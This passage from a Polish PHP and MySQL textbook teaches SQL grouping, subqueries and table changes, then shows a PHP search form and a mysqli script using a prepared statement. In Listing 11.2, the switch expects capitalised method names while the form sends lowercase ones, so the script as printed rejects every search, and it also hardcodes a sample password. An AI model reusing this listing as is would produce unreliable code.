sformułowane w powyższy sposób nie zwróci średniej wartości wszystkich zamówień zapisa-
nych w tabeli Zamowienia, lecz obliczy średnią wartość zamówień złożonych przez każdego
klienta (a ściślej: przypadających na każdą wartość pola KlientID):
+----------+--------------+
| KlientID | AVG(Wartosc) |
+----------+--------------+
| 1 | 12.990000 |
| 2 | 74.000000 |
| 3 | 38.485002 |
+----------+--------------+
3 rows in set (0.00 sec)

Stosując funkcje agregujące i grupowanie, należy pamiętać o bardzo ważnej kwestii. Otóż we-
dług standardu ANSI SQL w klauzuli SELECT zapytań wykorzystujących agregację danych lub
klauzulę GROUP BY mogą znajdować się tylko funkcje agregujące oraz nazwy tych kolumn, które
będą podstawą grupowania (ponadto nazwy te muszą być wyszczególnione w klauzuli SELECT).
266 Część II  Stosowanie MySQL

MySQL umożliwia w tym przypadku większą swobodę. Obsługuje on składnię rozszerzoną, która
pozwala na pominięcie nazw kolumn w klauzuli SELECT, jeśli nie ma potrzeby ich wyświetlania.
Ważną zaletą grupowania i agregowania danych jest możliwość określania dodatkowych kryte-
riów wyszukiwania. Służąca do tego klauzula HAVING powinna znaleźć się zaraz za klauzulą
GROUP BY. Jej działanie jest takie samo, jak w przypadku użycia WHERE w zapytaniach niezawie-
rających grupowania ani funkcji agregacji.
Przytoczone przed chwilą zapytanie można rozszerzyć tak, aby wyszukać klientów, którzy złożyli
zamówienia o przeciętnej wartości co najmniej 50 złotych.
SELECT KlientID, AVG(Wartosc)
FROM Zamowienia
GROUP BY KlientID
HAVING AVG(Wartosc)>50;

Przypomnijmy, że klauzula HAVING odnosi się tylko do grup danych. Efekt wykonania zapytania
będzie następujący:
+----------+--------------+
| Klientid | AVG(Wartosc) |
+----------+--------------+
| 2 | 74.000000 |
+----------+--------------+
1 row in set (0.06 sec)

Wskazanie wierszy, które mają być wyświetlone


Polecenie SELECT posiada klauzulę LIMIT, niekiedy szczególnie przydatną w aplikacjach interne-
towych. Służy ona do określenia, które wiersze z tabeli wynikowej mają zostać wyświetlone.
Klauzula ta może mieć jeden lub dwa parametry. W przypadku podania jednego parametru określa
on liczbę wierszy, które zwróci zapytanie. Oto przykład:
SELECT Nazwisko
FROM Klienci
LIMIT 2;

Powyższe zapytanie zwróci następujące wyniki:


+----------------+
| Nazwisko |
+----------------+
| Julia Kowalska |
| Adam Pawlak |
+----------------+
2 row in set (0.00 sec)

Jeśli jednak w klauzuli LIMIT zostaną podane dwa parametry, to pierwszy z nich będzie określał
numer wiersza, od którego będą zwracane wyniki, a drugi — liczbę zwracanych wierszy.

Poniżej zaprezentowano przykład wykorzystania opisanej powyżej postaci klauzuli LIMIT.


SELECT Nazwisko
FROM Klienci
LIMIT 2,3;

Zapytanie to oznacza: „Wyszukaj nazwiska wszystkich klientów, a następnie wyświetl trzech z nich,
począwszy od drugiego”. Należy pamiętać o tym, że wiersze numerowane są od zera, a więc
pierwszy wiersz w tabeli ma numer 0. Klauzula ta jest przydatna szczególnie w aplikacjach interne-
towych. Potencjalny klient może zażądać, by na jednej stronie przeglądanego przez siebie katalogu
Rozdział 10.  Praca z bazą danych MySQL 267

produktów znajdowało się nie więcej niż 10 pozycji. Należy jednak pamiętać, że klauzula LIMIT
nie jest częścią standardu ANSI SQL. Stanowi ona rozszerzenie MySQL, dlatego jej używanie czyni
kod SQL niezgodnym z większością innych systemów zarządzania relacyjnymi bazami danych.

Używanie podzapytań
Podzapytanie to zapytanie SQL zagnieżdżone w innym zapytaniu. Co prawda, takie same efekty
można osiągnąć umiejętnie używając złączeń i tabel tymczasowych, lecz same podzapytania są
zwykle łatwiejsze do skonstruowania i bardziej czytelne.

Podzapytania podstawowe
Najczęstszy sposób użycia podzapytań polega na wykorzystaniu wyników jednego zapytania
jako danych porównawczych dla drugiego zapytania. Gdybyśmy na przykład chcieli znaleźć
zamówienia, których wartość była najwyższa, można by napisać następujące zapytanie:
SELECT KlientID, Wartosc
FROM Zamowienia
WHERE Wartosc = (SELECT MAX(Wartosc) FROM Zamowienia);

Wyniki wykonania tego zapytania są następujące:


+----------+---------+
| KlientID | Wartosc |
+----------+---------+
| 2 | 74.00 |
+----------+---------+
1 row in set (0.03 sec)

W tym przykładzie podzapytanie zwraca jedną wartość (wartość maksymalną), która następnie
stanowi wartość porównawczą dla zapytania zewnętrznego. Jest to bardzo dobry przykład użycia
podzapytania, ponieważ tego właśnie zapytania nie można zgrabnie napisać w ANSI SQL, korzy-
stając ze złączeń.

Ten sam wynik zostanie jednak zwrócony przez poniższe zapytanie wykonujące złączenie:
SELECT KlientID, Wartosc
FROM Zamowienia
ORDER BY Wartosc Desc
LIMIT 1;

W zapytaniu tym użyto klauzuli LIMIT, dlatego nie jest ono zgodne z większością systemów zarzą-
dzania relacyjnymi bazami danych.

Jednym z powodów, dla których MySQL przez tak długi czas nie obsługiwał podzapytań, jest
to, że tak naprawdę niewiele jest rzeczy, których bez podzapytań w ogóle nie można zrobić.

Wyników podzapytań można w taki sposób używać w połączeniu ze wszystkimi standardowymi


operatorami porównania. Istnieją ponadto specjalne operatory porównawcze podzapytań, o których
powiemy w następnym punkcie.

Podzapytania i operatory
Istnieje pięć specjalnych operatorów podzapytań. Cztery z nich są używane również w zwykłych
zapytaniach, a jeden (EXISTS) zazwyczaj jest używany w podzapytaniach skorelowanych i zostanie
przedstawiony w następnym punkcie. Cztery standardowe operatory podzapytań przedstawiono
w tabeli 10.4.
268 Część II  Stosowanie MySQL

Tabela 10.4. Operatory podzapytań

Nazwa Przykład Opis


ANY SELECT k1 FROM t1 WHERE k1 > Zwraca wartość true, jeżeli porównanie będzie miało wartość true
ANY (SELECT k1 FROM t2); dla dowolnego wiersza z podzapytania
IN SELECT k1 FROM t1 WHERE k1 IN Równoważnik konstrukcji =ANY
(SELECT k1 FROM t2);

SOME SELECT k1 FROM t1 WHERE k1 > Alias dla ANY; czasami okazuje się bardziej zrozumiałe
SOME(SELECT k1 FROM t2); dla użytkowników
ALL SELECT k1 FROM t1WHERE k1 > Zwraca wartość true, jeżeli porównanie będzie miało wartość true
ALL (SELECT k1 FROM t2); dla wszystkich wierszy z podzapytania

Każdy z tych operatorów może wystąpić jedynie za operatorem porównania. Wyjątek stanowi
operator IN, w którym operator porównania (=) jest niejako „zagnieżdżony”.

Podzapytania skorelowane
Istnieją także specjalne podzapytania, nazywane podzapytaniami skorelowanymi. W podzapyta-
niach tego rodzaju elementów z zapytania zewnętrznego można używać w zapytaniu wewnętrznym.
Na przykład:
SELECT ISBN, Tytul
FROM Ksiazki
WHERE NOT EXISTS
(SELECT * FROM Pozycje_zamowione WHERE Pozycje_zamowione.ISBN = Ksiazki.ISBN);

Zapytanie to stanowi przykład użycia podzapytań skorelowanych, a jednocześnie ilustruje sposób


używania ostatniego operatora podzapytań EXISTS. Jego celem jest znalezienie wszystkich książek,
które nigdy nie zostały zamówione. Zauważmy, że w wewnętrznym zapytaniu na liście FROM
wyszczególniona została tylko tabela Pozycje_zamowione, lecz odwołujemy się w nim także do
kolumny Ksiazki.ISBN. Inaczej mówiąc, zapytanie wewnętrzne odwołuje się do danych z zapytania
zewnętrznego. Definicja podzapytania skorelowanego brzmi następująco: Jest to podzapytanie,
które wyszukuje wiersze wewnętrzne pasujące (lub, jak w naszym przykładzie, niepasujące) do
wierszy zewnętrznych.

Operator EXISTS zwraca wartość true, jeśli w podzapytaniu znajduje się co najmniej jeden pasujący
wiersz. I odwrotnie: NOT EXISTS zwróci true, jeśli żaden wiersz z podzapytania nie będzie pasował.

Podzapytania wierszowe
Jak dotąd wszystkie analizowane podzapytania zwracały pojedyncze wartości, choć w wielu
przypadkach były to jedynie wartości true i false (jak choćby w ostatnim przykładzie z operatorem
EXISTS). Podzapytania wierszowe zwracają całe wiersze, które następnie można porównywać
z wierszami z zapytania zewnętrznego. Z podejścia takiego korzysta się zazwyczaj w celu odnale-
zienia wierszy z jednej tabeli, które istnieją również w drugiej tabeli. W naszej bazie danych książek
trudno jest skonstruować odpowiedni przykład, który ilustrowałby to rozwiązanie, dlatego poniżej
przedstawiono ogólną składnię tego typu konstrukcji:
SELECT k1, k2, k3
FROM t1
WHERE (k1, k2, k3) IN (SELECT k1, k2, k3 FROM t2)
Rozdział 10.  Praca z bazą danych MySQL 269

Używanie podzapytania w charakterze tabeli tymczasowej


Podzapytanie można umieścić w klauzuli FROM zapytania zewnętrznego. Dzięki takiemu podejściu
w praktyce możliwe jest wykonywanie zapytań na wynikach podzapytania traktowanego jak tabela
tymczasowa.

W najprostszej postaci zapytanie tego rodzaju mogłoby mieć postać:


SELECT * FROM
(SELECT KlientID, Nazwisko FROM Klienci WHERE Miejscowosc = 'Katowice')
AS klienci_katowice;

Zauważmy, że w tym zapytaniu podzapytanie zostało umieszczone w klauzuli FROM. Zaraz za


nawiasami zamykającymi podzapytanie należy nadać jego wynikom alias. W efekcie w zapytaniu
zewnętrznym można je traktować jak zwykłą tabelę.

Dokonywanie zmian rekordów w bazie danych


Oprócz wyszukiwania danych w bazie często istnieje potrzeba ich zmiany. Od czasu do czasu trzeba
na przykład podnieść ceny zapisanych w niej książek. W takim przypadku należy posłużyć się
poleceniem UPDATE.

Składnia polecenia UPDATE jest następująca:


UPDATE [LOW PRIORITY] [IGNORE] nazwa_tabeli
SET kolumna1=wyrazenie1[, kolumna2=wyrazenie2,…]
[WHERE warunek]
[ORDER BY kryteria_porzadkowania]
[LIMIT ilosc]

Działanie tego polecenia polega na zamianie dotychczasowych wartości określonych kolumn wska-
zanej tabeli na nowe, podane wartości. Zakres modyfikacji może zostać ograniczony do konkretnego
zbioru wierszy za pomocą klauzuli WHERE, a ich liczbę można limitować poprzez klauzulę LIMIT.
Klauzuli ORDER BY zwykle używa się tylko w połączeniu z klauzulą LIMIT. Na przykład jeżeli
chcemy zmienić tylko pierwszych dziesięć wierszy, najpierw trzeba je odpowiednio uporządkować.
Jeśli podane zostaną klauzule LOW_PRIORITY i IGNORE, zadziałają one tak samo jak w instrukcji INSERT.

Rozważmy dwa przykłady. W celu podniesienia cen wszystkich książek o 10% należy użyć polece-
nia UPDATE bez klauzuli WHERE:
UPDATE Ksiazki
SET Cena = Cena*1.1;

Jeśli z kolei trzeba zmienić tylko jeden, konkretny wiersz, na przykład uaktualnić adres klienta,
należy wpisać:
UPDATE Klienci
SET Adres='Olkuska 250'
WHERE KlientID = 4;

Zmiana struktury istniejących tabel


Oprócz modyfikacji wartości rekordów może zaistnieć również konieczność zmiany struktury ta-
beli znajdującej się w bazie danych. Do tego służy polecenie ALTER TABLE o następującej składni:
ALTER TABLE [IGNORE] nazwa_tabeli zmiana [, zmiana, …]
270 Część II  Stosowanie MySQL

Standard ANSI SQL przewiduje możliwość dokonania tylko jednej zmiany naraz, jednak MySQL
nie posiada takiego ograniczenia. Każda klauzula zmiana może prowadzić do innego rodzaju
modyfikacji.

Jeśli podana zostanie klauzula IGNORE i podejmiemy próbę dokonania zmiany, która spowoduje
duplikację kluczy głównych, pierwszy z nich zostanie wstawiony do tablicy podlegającej zmianie,
natomiast wszystkie pozostałe zostaną usunięte. Jeżeli klauzula ta nie zostanie podana (domyślnie
ona nie występuje), zmiana się nie powiedzie i zostanie anulowana.

Najczęściej używane rodzaje zmian, których można dokonać tą instrukcją, zostały zaprezentowa-
ne w tabeli 10.5.

Tabela 10.5. Możliwe rodzaje zmian dokonywanych poleceniem ALTER TABLE

Składnia Opis
ADD [COLUMN] (opis_kolumny) Dodaje nową kolumnę na określonej pozycji (domyślnie na końcu tabeli).
[FIRST | AFTER kolumna] Parametr opis_kolumny wymaga podania nazwy kolumny i jej typu
(jak w przypadku polecenia CREATE TABLE)
ADD [COLUMN] (opis_kolumny, Dodaje jedną lub więcej nowych kolumn na końcu tabeli
opis_kolumny,…)
ADD INDEX [indeks] (kolumna, …) Tworzy indeks w określonej kolumnie lub kolumnach
ADD [CONSTRAINT [symbol]] PRIMARY Deklaruje wskazaną kolumnę lub kolumny jako klucz podstawowy tabeli.
KEY (kolumna, …) Zapis CONSTRAINT odnosi się do tabel, w których użyto kluczy obcych.
Więcej informacji na ten temat znajduje się w rozdziale 13.
ADD UNIQUE [CONSTRAINT [symbol]] Tworzy unikatowy indeks w podanej kolumnie lub kolumnach. Zapis
[indeks] (kolumna, …) CONSTRAINT odnosi się do tabel, w których użyto kluczy obcych. Więcej
informacji na ten temat znajduje się w rozdziale 13.
ADD [CONSTRAINT [symbol]] FOREIGN Dodaje klucz obcy do tabeli. Więcej informacji na ten temat znajduje
KEY [indeks] (kolumna_indeksu, się w rozdziale 13.
…) [definicja_odwolania)

ALTER [COLUMN] kolumna [SET Przypisuje lub usuwa domyślną wartość kolumny
DEFAULT wartość | DROP DEFAULT]

CHANGE [COLUMN] kolumna Zmienia kolumnę w sposób zależny od wartości parametru


opis_nowej_kolumny opis_nowej_kolumny. Istnieje więc możliwość zmiany nazwy kolumny,
gdyż parametr ten wymaga podania nazwy i typu kolumny
MODIFY [COLUMN] opis_kolumny Podobnie jak CHANGE, tyle że nie pozwala na zmianę nazwy kolumny,
lecz tylko jej typu
DROP [COLUMN] kolumna Usuwa wskazaną kolumnę
DROP PRIMARY KEY Usuwa klucz podstawowy (ale nie kolumnę)
DROP INDEX indeks Usuwa wskazany indeks
DROP FOREIGN KEY klucz Usuwa klucz obcy (ale nie kolumnę)
DISABLE KEYS Wyłącza uaktualnianie indeksów
ENABLE KEYS Włącza uaktualnianie indeksów
RENAME [AS] nowa_nazwa_tabeli Zmienia nazwę wskazanej tabeli
ORDER BY nazwa_kolumny Ponownie tworzy tabelę z wierszami ułożonymi we wskazanym porządku.
(Zauważmy, że po rozpoczęciu dokonywania zmian w tabeli ich porządek
zostanie zaburzony)
Rozdział 10.  Praca z bazą danych MySQL 271

Tabela 10.5. Możliwe rodzaje zmian dokonywanych poleceniem ALTER TABLE (ciąg dalszy)

Składnia Opis
CONVERT TO CHARACTER SET zestaw Przekształca wszystkie kolumny tekstowe do wskazanego zestawu
COLLATE c znaków ze wskazaną metodą porządkowania
[DEFAULT] CHARACTER SET zestaw Ustawia domyślny zestaw znaków wraz z metodą porządkowania
COLLATE c

DISCARD TABLESPACE Usuwa plik, w którym przechowywana jest tabela InnoDB.


(Więcej informacji na temat tabel InnoDB można znaleźć w rozdziale 13.)
IMPORT TABLESPACE Na nowo tworzy plik, w którym przechowywana będzie tabela InnoDB.
(Więcej informacji na temat tabel InnoDB można znaleźć w rozdziale 13.)
opcje_tabel Umożliwia resetowanie opcji tabel. Używana składnia jest taka sama jak
w przypadku instrukcji CREATE TABLE

Poniżej zostaną omówione najczęściej stosowane odmiany polecenia ALTER TABLE.

Często okazuje się, że któraś z już istniejących kolumn nie ma na tyle dużej „pojemności”, aby
pomieścić odpowiednie dane. Na przykład tabelę Klienci zdefiniowano w taki sposób, że długość
przechowywanego w niej nazwiska klienta ograniczono do 50 znaków. W trakcie zapisywania
danych kolejnych klientów może okazać się, że niektóre nazwiska przekraczają ten limit i są auto-
matycznie skracane. Problem ten można rozwiązać, zmieniając typ kolumny, aby mogła ona pomie-
ścić nazwiska mające nawet 70 znaków.
ALTER TABLE Klienci
MODIFY Nazwisko CHAR(70) NOT NULL;

Równie często zachodzi konieczność dodania nowej kolumny do tabeli. Wyobraźmy sobie, że
wprowadzony został nowy podatek od wartości sprzedanych książek i musi on być naliczany
oddzielnie dla każdego zamówienia. Można więc w tabeli Zamowienia utworzyć nową kolumnę
Podatek:
ALTER TABLE Zamowienia
ADD Podatek FLOAT(6,2) AFTER Wartosc;

Czasem też trzeba usunąć z tabeli kolumnę, która nie jest już potrzebna. Można na przykład
usunąć kolumnę, która przed chwilą została dodana do tabeli Zamowienia:
ALTER TABLE Zamowienia
DROP Podatek;

Usuwanie rekordów z bazy danych


Usuwanie rekordów z bazy jest bardzo proste. Służy do tego polecenie DELETE, którego składnia
jest następująca:
DELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM tabela
[WHERE warunek]
[ORDER BY kolumny_sortowania]
[LIMIT ilosc]

Wystarczy jedynie wpisać:


DELETE FROM tabela;
272 Część II  Stosowanie MySQL

a z tabeli zostaną usunięte wszystkie wiersze. Zazwyczaj poprzestaje się na usunięciu tylko części
wierszy, które określa się w klauzuli WHERE. Operacja taka może być konieczna, na przykład gdy
nakład którejś z książek został już wyczerpany albo w trakcie robienia „porządków” w bazie okaże się,
że jeden z klientów już od dawna nie złożył żadnego zamówienia:
DELETE FROM Klienci
WHERE KlientID = 4;

Klauzula LIMIT jest stosowana do określenia maksymalnej liczby wierszy, które mogą być usunięte.
Klauzula ORDER BY jest zwykle używana w połączeniu z klauzulą LIMIT.

Klauzule LOW_PRIORITY i IGNORE działają tak jak w innych przypadkach. Klauzula QUICK może przy-
spieszyć działanie tabel MyISAM.

Usuwanie tabel
Czasami trzeba usunąć całe tabele. Operację tę wykonuje się za pomocą polecenia DROP TABLE.
Jego składnia jest bardzo prosta:
DROP TABLE tabela;

Polecenie to spowoduje usunięcie wszystkich wierszy z tabeli, a także samej tabeli, należy więc
wykonywać je z rozwagą.

Usuwanie całych baz danych


Można posunąć się jeszcze dalej i usunąć całą bazę danych za pomocą polecenia DROP DATABASE
o następującej składni:
DROP DATABASE baza;

Spowoduje ono usunięcie wszystkich wierszy, tabel i indeksów oraz samej bazy danych, nie trzeba
więc chyba przypominać o zachowaniu ostrożności przy jego używaniu.

Propozycje dalszych lektur


W tym rozdziale przedstawiliśmy język SQL stosowany do komunikowania się z serwerem
MySQL. W następnych dwóch rozdziałach znajduje się opis metod łączenia PHP i MySQL
w celu udostępniania baz danych w internecie. Zaprezentowane zostaną bardziej zaawansowane
aspekty pracy z MySQL.

W celu pogłębienia wiedzy na temat SQL można zajrzeć do opisu standardu ANSI SQL do-
stępnego pod adresem http://www.ansi.org.

Więcej informacji na temat rozszerzeń standardu ANSI SQL oferowanych przez MySQL znajduje się
w elektronicznym podręczniku, dostępnym pod adresem http://www.mysql.com.

W następnym rozdziale
W następnym rozdziale przedstawimy metody udostępniania bazy danych księgarni „Książkorama”
w internecie.
Rozdział 11.
Łączenie się z bazą MySQL
za pomocą PHP
W poprzednich rozdziałach tej książki wykorzystanie PHP ograniczało się do przechowywania
i zapisywania danych do plików jednorodnych. W rozdziale 2. zasygnalizowaliśmy, że zadania te
wykonywane są znacznie efektywniej przez systemy relacyjnych baz danych, które ponadto charak-
teryzują się nieporównanie większą stabilnością pracy, tak ważną szczególnie w przypadku tworze-
nia aplikacji internetowych. Obecnie, po utworzeniu bazy danych za pomocą MySQL, możemy przy-
stąpić do ustanowienia połączenia między bazą a stroną WWW.

W tym rozdziale wyjaśnimy, w jaki sposób za pomocą PHP można udostępnić bazę danych księ-
garni „Książkorama” na stronie WWW. Pokażemy metody odczytu danych z bazy i sposób ich
zapisu do bazy oraz powiemy, jak ustrzec się przed błędami mogącymi wystąpić w przypadku
wpisania nieprawidłowych danych.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 jak działa internetowa baza danych,
 etapy wysyłania zapytań do bazy danych z poziomu strony WWW,
 ustanawianie połączenia z bazą,
 uzyskiwanie informacji o dostępnych bazach danych,
 wybieranie właściwej bazy danych,
 wysyłanie zapytań do bazy,
 odczytywanie rezultatów zapytań,
 rozłączanie się z bazą,
 wstawianie nowych danych do bazy,
 używanie instrukcji przygotowywanych,
 używanie innych bazodanowych interfejsów PHP,
 stosowanie ogólnego interfejsu bazodanowego PDO.

Jak działa internetowa baza danych?


W rozdziale 8. został przedstawiony schemat działania internetowej bazy danych. Przypomnijmy
kolejne etapy, w jakich realizowana jest transakcja bazodanowa:
274 Część II  Stosowanie MySQL

1. Przeglądarka internetowa użytkownika wysyła żądanie udostępnienia konkretnej strony


WWW. Wykorzystując odpowiedni formularz HTML, może ona na przykład zażądać
wyświetlenia wszystkich książek autorstwa Michaela Morgana, oferowanych
w „Książkoramie”. Strona z wynikami będzie nosić nazwę rezultaty.php.
2. Serwer WWW przyjmuje żądanie wyświetlenia strony rezultaty.php, odnajduje właściwy
plik i przekazuje go do interpretera PHP.
3. Interpreter PHP rozpoczyna przetwarzanie skryptu. Wewnątrz skryptu zawarte jest polecenie
połączenia się z bazą danych i wykonania zapytania (wyszukania określonych pozycji
książkowych). Następuje otwarcie połączenia z serwerem MySQL i przesłanie zapytania.
4. Serwer MySQL przyjmuje zapytanie i przetwarza je, po czym rezultat — listę książek
— odsyła do interpretera PHP.
5. Interpreter kończy wykonywanie skryptu, który zazwyczaj formatuje otrzymane wyniki
zgodnie ze standardami HTML-a, po czym przesyła wynikowy kod HTML do serwera
WWW.
6. Serwer WWW przesyła kod HTML do przeglądarki, która wyświetla listę książek
spełniających kryteria zadane przez użytkownika.

W poprzednim rozdziale utworzyliśmy bazę danych, możemy więc rozpocząć pisanie skryptów PHP
realizujących kolejne kroki z powyższej listy. Zaczniemy od zaprojektowania formularza HTML
do wyszukiwania informacji. Odpowiedni kod przedstawiony jest na listingu 11.1.

Listing 11.1. szukaj.html — formularz wyszukiwania informacji w bazie księgarni „Książkorama”


<!DOCTYPE html>
<html>
<head>
<title>Wyszukiwanie książek w księgarni "Książkorama"</title>
</head>

<body>
<h1>Wyszukiwanie książek w księgarni "Książkorama"</h1>

<form action="rezultaty.php" method="post">


<p><strong>Wybierz metodę wyszukiwania:</strong><br />
<select name="metoda_szukania">
<option value="autor">Autor</option>
<option value="tytul">Tytuł</option>
<option value="isbn">ISBN</option>
</select>
</p>
<p><strong>Wprowadź poszukiwane wyrażenie:</strong><br />
<input name="wyrazenie" type="text" size="40"></p>
<p><input type="submit" name="submit" value="Szukaj"></p>
</form>

</body>
</html>

A zatem jest to prosty kod HTML. W przeglądarce formularz wyszukiwania będzie wyglądał jak
ten z rysunku 11.1.

Po naciśnięciu przycisku Szukaj zostanie wykonany skrypt zapisany w pliku rezultaty.php. Jego
pełny tekst jest przedstawiony na listingu 11.2. W dalszej części tego rozdziału zostaną opisane
działanie i efekty wykonania skryptu.
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 275

Rysunek 11.1.
Formularz wyszukiwania
jest dosyć ogólnikowy,
można więc szukać
książek na podstawie
ich tytułu, autora
lub numeru ISBN

Listing 11.2. rezultaty.php — skrypt odczytujący i wyświetlający wyniki wyszukiwania danych w bazie
<!DOCTYPE html>
<html>
<head>
<title>"Książkorama"- Rezultaty wyszukiwania</title>
</head>
<body>
<h1>"Książkorama"- Rezultaty wyszukiwania </h1>
<?php
// utworzenie krótkich nazw zmiennych
$metoda_szukania=$_POST['metoda_szukania'];
$wyrazenie=trim($_POST['wyrazenie']);

if (!$metoda_szukania || !$wyrazenie) {
echo '<p>Brak parametrów wyszukiwania. <br />
Wróć do poprzedniej strony i spróbuj ponownie.</p>';
exit;
}

// określenie typu wyszukiwania


switch ($metoda_szukania) {
case 'Tytul':
case 'Autor':
case 'ISBN':
break;
default:
echo '<p>Nieprawidłowy typ wyszukiwania. <br/>
Wróć i spróbuj jeszcze raz.</p>';
exit;
}

@$db = new mysqli('localhost', 'ksiazkorama', 'ksiazkorama123', 'ksiazki');


if (mysqli_connect_errno()) {
echo '<p>Błąd: Połączenie z bazą danych nie powiodło się.<br />
Spróbuj jeszcze raz później.</p>';
exit;
}

$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki WHERE $metoda_szukania = ?";

$polecenie = $db->prepare($zapytanie);
$polecenie->bind_param('s', $wyrazenie);
$polecenie->execute();
276 Część II  Stosowanie MySQL

$polecenie->store_result();

$polecenie->bind_result($isbn, $autor, $tytul, $cena);

echo "<p>Liczba znalezionych rekordów: ".$polecenie->num_rows."</p>";

while($polecenie->fetch()) {
echo "<p><strong>Tytuł: ".$tytul."</strong>";
echo "<br />Autor: ".$autor;
echo "<br />ISBN: ".$isbn;
echo "<br />Cena: ".number_format($cena,2)."</p>";
}

$polecenie->free_result();
$db->close();

?>

</body>
</html>

Strona zawierająca wyniki wyszukiwania jest przedstawiona na rysunku 11.2.

Rysunek 11.2.
Rezultaty
wyszukiwania książek
o języku Java
są wyświetlane
na stronie WWW
przez skrypt
rezultaty.php

Wykonywanie zapytań do bazy danych


z poziomu strony WWW
Każdy skrypt, który ma za zadanie łączyć się z internetową bazą danych, powinien wykonywać
kolejno następujące czynności:
1. Sprawdzenie poprawności danych wpisanych przez użytkownika.
2. Nawiązanie połączenia z odpowiednią bazą.
3. Wysłanie zapytania.
4. Otrzymanie rezultatów.
5. Prezentacja otrzymanych rezultatów użytkownikowi.

Skrypt rezultaty.php wykonał kolejno wszystkie czynności z powyższej listy. Omówimy je


w oddzielnych podpunktach.
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 277

Sprawdzenie poprawności wpisanych danych


Skrypt rozpoczyna działanie od usunięcia wszystkich znaków spacji, które użytkownik mógł
przypadkiem wpisać na początku lub końcu poszukiwanego wyrażenia. W tym celu na wartości
$_POST['wyrazenie'] w trakcie nadawania skróconej nazwy wywoływana jest funkcja trim().
$wyrazenie=trim($_POST['wyrazenie']);

Kolejny krok polega na sprawdzeniu, czy użytkownik wybrał metodę szukania oraz wpisał wyra-
żenie, które ma zostać odnalezione. Zauważmy, że czynność ta jest wykonywana dopiero po usu-
nięciu niepotrzebnych znaków spacji z początku i końca wyrażenia. W razie zastosowania odwrotnej
kolejności mogłoby dojść do sytuacji, w której podane przez użytkownika wyrażenie nie jest
puste, a więc nie nastąpiłoby wytworzenie błędu. Mogłoby ono jednak składać się z samych spacji,
które zostałyby potem usunięte przez funkcję trim().
if (!$metoda_szukania || !$wyrazenie) {
echo '<p>Brak parametrów wyszukiwania. <br />
Wróć do poprzedniej strony i spróbuj ponownie.</p>';
exit;
}

Następnie sprawdzana jest zmienna $metoda_szukania w celu upewnienia się, czy jej wartość jest
poprawna. Operacja ta wykonywana jest pomimo tego, że wartość tej zmiennej pochodzi z elementu
<select> formularza HTML:
switch ($metoda_szukania) {
case 'Tytul':
case 'Autor':
case 'ISBN':
break;
default:
echo '<p>Nieprawidłowy typ wyszukiwania. <br/>
Wróć i spróbuj jeszcze raz.</p>';
exit;
}

Wydawałoby się więc, że nie ma możliwości pozostawienia tej zmiennej pustej. Należy jednak
pamiętać, że może istnieć więcej niż jeden interfejs służący do obsługi omawianej bazy danych.
Na przykład księgarnia internetowa Amazon udostępnia swoją bazę wielu różnym serwisom,
wykorzystującym własne interfejsy. Najlepszym rozwiązaniem jest więc każdorazowe sprawdze-
nie danych wejściowych w celu uniknięcia ewentualnych problemów spowodowanych korzysta-
niem z różnych interfejsów.

Kolejnym ważnym etapem weryfikacji poprawności danych wejściowych jest sprawdzenie, czy
zawierają one znaki kontrolne. (Być może Czytelnik pamięta, że zagadnienie to zostało opisane
w rozdziale 4.). W momencie przesyłania danych pochodzących od użytkownika do bazy danych
typu MySQL należy posłużyć się znakami ucieczki.

W tym przypadku należy wykonać dwie operacje. Pierwsza z nich to upewnienie się, że typ wyszu-
kiwania jest prawidłowy; to zadanie realizuje kod przedstawiony powyżej. Druga operacja, wyko-
nywana w celu ochronienia się przed wszelkimi problematycznymi znakami w łańcuchu wyszuki-
wania, polega na użyciu konstrukcji MySQL określanej jako zapytanie składowane. Zagadnienie
to zostanie już niebawem opisane znacznie szerzej.
278 Część II  Stosowanie MySQL

Ustanawianie połączenia z bazą danych


Biblioteka PHP, która ustanawia połączenia z bazą danych, nosi nazwę mysqli (litera i pochodzi od
angielskiego słowa improved, czyli „ulepszona”). Biblioteka ta posiada zarówno interfejs proce-
duralny, jak i obiektowy.

Za nawiązanie połączenia z serwerem MySQL jest odpowiedzialny następujący fragment skryptu:


@$db = new mysqli('localhost', 'ksiazkorama', 'ksiazkorama123', 'ksiazki');

Polecenie to tworzy egzemplarz klasy mysqli i ustanawia połączenie z serwerem 'localhost',


wykorzystując użytkownika 'ksiazkorama' i hasło 'ksiazkorama123'. Połączenie zostało skonfi-
gurowane do pracy z bazą danych ksiazki.

Pozostając przy interfejsie obiektowym, możemy teraz wywoływać na utworzonym obiekcie


metody w celu uzyskania dostępu do bazy danych. Jeżeli Czytelnik preferuje podejście procedu-
ralne, mysqli również umożliwi skorzystanie z niego. Aby ustanowić połączenie stosując składnię
proceduralną, należy napisać:
@$db = mysqli_connect('localhost', 'ksiazkorama', 'ksiazkorama123', 'ksiazki');

Funkcja ta zwróci zasób, a nie obiekt. Zasób ten będzie reprezentował połączenie z bazą danych,
a jeśli używany będzie interfejs proceduralny, zasób ten trzeba będzie przekazywać do wszystkich
pozostałych funkcji mysqli. Przypomina to sposób działania funkcji obsługujących pliki, takich
jak fopen().

Większość funkcji mysqli posiada zarówno interfejs zorientowany obiektowo, jak i proceduralny.
Podstawowa różnica między nimi polega na tym, że nazwy proceduralnych wersji funkcji roz-
poczynają się od mysqli_ i trzeba do nich przekazywać uchwyt zasobu, który został zwrócony
przez mysqli_connect(). Wyjątkiem od tej reguły są połączenia z bazą danych, które można usta-
nawiać przy użyciu konstruktora obiektu mysqli.

Konieczne jest sprawdzenie, czy połączenie z bazą zostało nawiązane, gdyż od tego zależy poprawne
działanie reszty skryptu. Oto właściwy fragment kodu:
if (mysqli_connect_errno()) {
echo '<p>Błąd: Połączenie z bazą danych nie powiodło się.<br />
Spróbuj jeszcze raz później.</p>';
exit;
}

(Kod ten wygląda identycznie w wersji zorientowanej obiektowo oraz proceduralnej). Funkcja
mysqli_connect_errno() zwróci numer błędu, jeżeli taki wystąpi, lub zero, jeśli nawiązanie połącze-
nia zakończy się powodzeniem.

Zauważmy, że wiersz kodu mającego na celu ustanowienie połączenia z bazą danych rozpoczyna
się od operatora tłumienia błędów @. Dzięki temu można zgrabnie obsłużyć wszelkie zaistniałe
błędy. (Ten sam efekt można by osiągnąć przy użyciu wyjątków, których w tym prostym przykła-
dzie nie użyto).

